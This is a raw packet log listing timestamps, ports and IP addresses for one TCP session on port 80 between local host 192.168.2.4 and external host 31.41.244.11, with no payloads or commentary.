Nov 24, 2024 14:24:20.599400997 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.599445105 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.600222111 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.600270033 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.600296021 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.600341082 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.601125002 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.601180077 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.601252079 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.601296902 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.602072001 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.602132082 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.602205038 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.602255106 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.603092909 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.603153944 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.603183031 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.603225946 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.604016066 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.604074001 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.604104042 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.604146957 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.604943037 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.605000019 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.605060101 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.605109930 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.605882883 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.605932951 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.606091976 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.606139898 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.606844902 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.606889009 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.607023954 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.607069969 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.607825994 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.607870102 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.607997894 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.608042002 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.608776093 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.608822107 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.608860970 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.608906031 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.609731913 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.609805107 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.609838963 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.609885931 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.610716105 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.610763073 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.610800028 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.610842943 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.611634016 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.611677885 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.611730099 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.611773968 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.612612963 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.612668037 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.612703085 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.612749100 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.613553047 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.613625050 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.613661051 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.613734961 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.614511013 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.614582062 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.614687920 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.614768982 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.615663052 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.615731955 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.615763903 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.615830898 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.616540909 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.616597891 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.616676092 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.616723061 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.617499113 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.617549896 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.617566109 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.617599964 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.618338108 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.618397951 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.618434906 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.618496895 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.619306087 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.619380951 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.619442940 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.619524956 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.620313883 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.620358944 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.620388031 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.620428085 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.621301889 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.621354103 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.621387005 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.621426105 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.622179985 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.622234106 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.622262955 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.622308969 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.623146057 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.623203039 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.623236895 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.623274088 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.624105930 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.624152899 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.624303102 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.624349117 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.625076056 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.625128031 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.625128984 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.625174999 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.626028061 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.626075029 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.626097918 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.626137018 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.626950979 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.626996994 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.627080917 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.627126932 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.627926111 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.627970934 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.628222942 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.628278017 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.628853083 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.628897905 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.629065037 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.629111052 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.629765987 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.629806995 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.629894972 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.629933119 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.630686998 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.630726099 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.630815029 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.630853891 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.631640911 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.631681919 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.631767035 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.631807089 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.632576942 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.632620096 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.632684946 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.632719040 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.633558035 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.633598089 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.633735895 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.633780956 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.634485006 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.634526014 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.634550095 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.634588003 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.635432959 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.635478020 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.635504961 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.635538101 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.636338949 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.636379957 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.636461973 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.636502981 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.637240887 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.637280941 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.637356997 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.637394905 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.638250113 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.638262987 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.638287067 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.638307095 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.639107943 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.639143944 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.639199972 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.639235973 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.640047073 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.640096903 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.640163898 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.640208006 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.640949011 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.640996933 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.792778969 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.792979956 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.792999983 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.793158054 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.793183088 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.793220997 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.793363094 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.793401003 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.793472052 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.793512106 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.794521093 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.794560909 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.794651031 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.794691086 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.795248032 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.795291901 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.795363903 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.795404911 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.796185017 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.796231031 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.796293974 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.796334028 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.797135115 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.797174931 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.797209024 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.797247887 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.798201084 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.798238039 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.798288107 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.798327923 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.798964977 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.799010038 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.799079895 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.799123049 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.799886942 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.799938917 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.800000906 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.800041914 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.800815105 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.800862074 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.800930977 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.800975084 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.801775932 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.801817894 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.801899910 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.801942110 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.802685976 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.802730083 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.802795887 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.802846909 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.803637028 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.803684950 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.803762913 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.803805113 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.804557085 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.804595947 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.804723978 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.804764032 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.805502892 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.805543900 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.805624962 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.805661917 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.806497097 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.806541920 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.806576014 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.806627989 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.807390928 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.807431936 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.807518959 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.807559967 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.808314085 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.808363914 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.808419943 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.808461905 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.809238911 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.809279919 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.809315920 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.809355021 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.810178995 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.810228109 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.810285091 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.810337067 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.811109066 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.811171055 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.811224937 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.811273098 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.812041044 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.812086105 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.812153101 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.812199116 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.812980890 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.813023090 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.813086033 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.813355923 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.813906908 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.813952923 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.813987970 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.814027071 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.814874887 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.814913988 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.814979076 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.815018892 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.815848112 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.815884113 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.815946102 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.815984011 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.816752911 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.816792011 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.817028046 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.817073107 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.817718983 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.817759037 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.817790985 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.817830086 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.818604946 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.818645000 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.818712950 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.818748951 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.819530010 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.819583893 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.819648027 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.819685936 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.820476055 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.820558071 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.820611000 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.820653915 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.821413994 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.821459055 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.821600914 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.821639061 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.822515965 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.822561026 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.822622061 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.822664976 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.823282957 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.823333979 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.823390007 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.823429108 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.824206114 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.824244976 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.824316025 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.824352026 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.825124979 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.825165987 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.825197935 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.825242996 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.826071024 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.826113939 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.826148033 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.826188087 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.827007055 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.827048063 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.827111959 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.827150106 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.827939987 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.827980042 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.828032017 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.828068972 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.828881979 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.828919888 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.828985929 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.829027891 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.829817057 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.829859018 CET	49778	80	192.168.2.4	31.41.244.11
